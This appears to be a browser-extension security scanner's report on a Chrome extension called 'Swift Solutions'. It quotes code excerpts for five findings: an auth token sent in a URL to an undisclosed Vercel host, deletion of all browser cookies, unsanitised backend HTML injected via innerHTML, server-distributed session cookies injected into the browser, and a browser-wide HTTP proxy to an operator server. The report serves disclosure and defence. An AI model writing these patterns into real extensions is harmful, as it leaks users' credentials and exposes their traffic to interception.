Security Alert: Critical Security Risk
Swift Solutions
ID: dfccmegcgoefkhnaeeodbakclihfipbo
Supported Languages
Extension Info & Metadata
Publisher Contextual Analysis
- Author
- RTN GlobalView Profile
- Privacy
- Privacy Policy
- Country
- US
- MX records exist
- Yes
- Domain exists
- Yes
- Is disposable
- No
- Is role-based
- Yes
- Mailbox exists
- Yes
- Address
- 1209 Mountain Rd Pl NE ste r Albuquerque, NM 87110-7845 US
- Website
- Visit
Manage browser data efficiently
Sensitive Domain Access
This extension has access to the following sensitive domains:
- *://script.google.com/*
- *://script.googleusercontent.com/*
- *://*.google.com/*
The user's authentication token (granting full access to their account on the operator backend) is appended as a plaintext URL query parameter when opening `https://datgo.vercel.app`. This domain is not in the extension's declared backend list (`apexskillzone.com`, `kmldigital.xyz`) and is a third-party Vercel-hosted service. URL query parameters are logged by server access logs, browser history, and referrer headers, exfiltrating live credentials to an undisclosed third party.
async handleOpenWebDashboard() { try { const result = await chrome.storage.local.get(['token']); const token = result.token; const userId = this.currentUser?._id || ''; const webUrl = `https://datgo.vercel.app?token=${encodeURIComponent(token)}&userId=${encodeURIComponent(userId)}`; // For Chrome extension if (typeof chrome !== 'undefined' && chrome.tabs && chrome.tabs.create) { chrome.tabs.create({ url: webUrl }); } else { window.open(webUrl, '_blank'); }`clearBrowserData()` is invoked without a domain argument at line 741 (inside `openDatSessionWithData`). It calls `chrome.cookies.getAll({})` with an empty object, which returns every cookie from every domain in the browser. The loop then removes all of them. This silently logs the user out of every website they are signed into every time they click 'Open DAT', far exceeding the extension's stated scope of managing dat.com session data.
async function clearBrowserData(domain) { try { const allCookies = await chrome.cookies.getAll({}); for (const cookie of allCookies) { try { let normalizedDomain = cookie.domain.replace(/^\./, ''); const urlAttempts = []; if (cookie.domain.startsWith('.')) { urlAttempts.push(`https://one${cookie.domain}${cookie.path || '/'}`); urlAttempts.push(`https://www${cookie.domain}${cookie.path || '/'}`); urlAttempts.push(`https://login${cookie.domain}${cookie.path || '/'}`); } else { urlAttempts.push(`https://${normalizedDomain}${cookie.path || '/'}`); } let removed = false; for (const cookieUrl of urlAttempts) { try { await chrome.cookies.remove({ url: cookieUrl, name: cookie.name }); removed = true; break;The backend endpoint `/ui/open-web-button` returns an object with a `button.html` field that is injected verbatim into the extension popup via `innerHTML` without any sanitization. The extension popup runs in a privileged context with access to all Chrome extension APIs. A compromised or malicious backend can deliver HTML containing event-handler attributes or script tags that execute arbitrary code with full extension privileges, enabling cookie theft, proxy manipulation, and tab control.
if (response.data && response.data.success && response.data.button) { this.webButtonData = response.data.button; // Update the button HTML if it exists const webBtnContainer = document.getElementById('webButtonContainer'); if (webBtnContainer) { webBtnContainer.innerHTML = response.data.button.html; webBtnContainer.style.display = 'block'; // Add event listener to the button after it's inserted const openWebBtn = document.getElementById('openWebBtn'); if (openWebBtn) { openWebBtn.addEventListener('click', () => this.handleOpenWebDashboard()); } }The extension downloads stored browser session cookies for a named session ID from the operator's backend server and then injects them into the browser (`injectCookies` at line 828). This means the operator holds dat.com session credentials server-side and distributes them to extension users on demand, which constitutes centralized credential warehousing and session cloning. The same mechanism could be abused to inject cookies for any domain the backend chooses to serve, since the injection function is domain-agnostic.
async function loadCookiesData(sessionId) { try { const result = await chrome.storage.local.get(['token']); const token = result.token; if (!token) { throw new Error('No user token found'); } const response = await fetchWithFailover(`/file/cookies/${sessionId}`, { method: 'GET', headers: { 'Content-Type': 'application/json', 'Authorization': token } }); ... const cookiesData = await response.json(); return cookiesData; } catch (error) { ... }}The extension fetches proxy credentials from `api.kmldigital.xyz` and sets a system-wide HTTP proxy for all browser traffic. The bypass list excludes Google and the operator's own API but routes all other traffic through an operator-controlled server. Because the proxy scheme is `http` (not HTTPS), the proxy server can observe and modify unencrypted traffic in plaintext, and because it applies to `<all_urls>` beyond dat.com, this is a man-in-the-middle position on the user's general browsing traffic whenever the extension is active.
const PROXY_CONFIG_API_URL = 'https://api.kmldigital.xyz/proxy/config';const PROXY_BYPASS_LIST = [ 'localhost', '127.0.0.1', 'script.google.com', 'script.googleusercontent.com', '*.google.com', '*.googleapis.com', '*.gstatic.com', '*.googleusercontent.com', 'api.kmldigital.xyz'];...async function applyProxy(config) { ... await chrome.proxy.settings.set({ value: { mode: 'fixed_servers', rules: { singleProxy: { scheme: 'http', host: config.host, port: config.port }, bypassList: PROXY_BYPASS_LIST } }, scope: 'regular' });By severity
Versions scanned
Showing 1 of 2 scanned versions with more than one unique finding. Counts are unique findings that include each version.
| Extension Version | Code Review Findings |
|---|---|
| 1.0.2 | 5 |
Files with findings
3 distinct paths — top paths by unique finding count:
- background.js2
- popup.js2
- utils/proxyService.js1
URLs
View the external URLs this extension communicates with to understand its network activity and data interactions.
Gain full insight into all external connections.
Upgrade for full visibility.
Gain full insight into all external connections.
Upgrade for full visibility.
Code Diff
Compare extension code between any two versions.
No comparable text files found between these versions.
Browse and explore files within this extension package
Gain full insight into all external connections.
Upgrade for full visibility.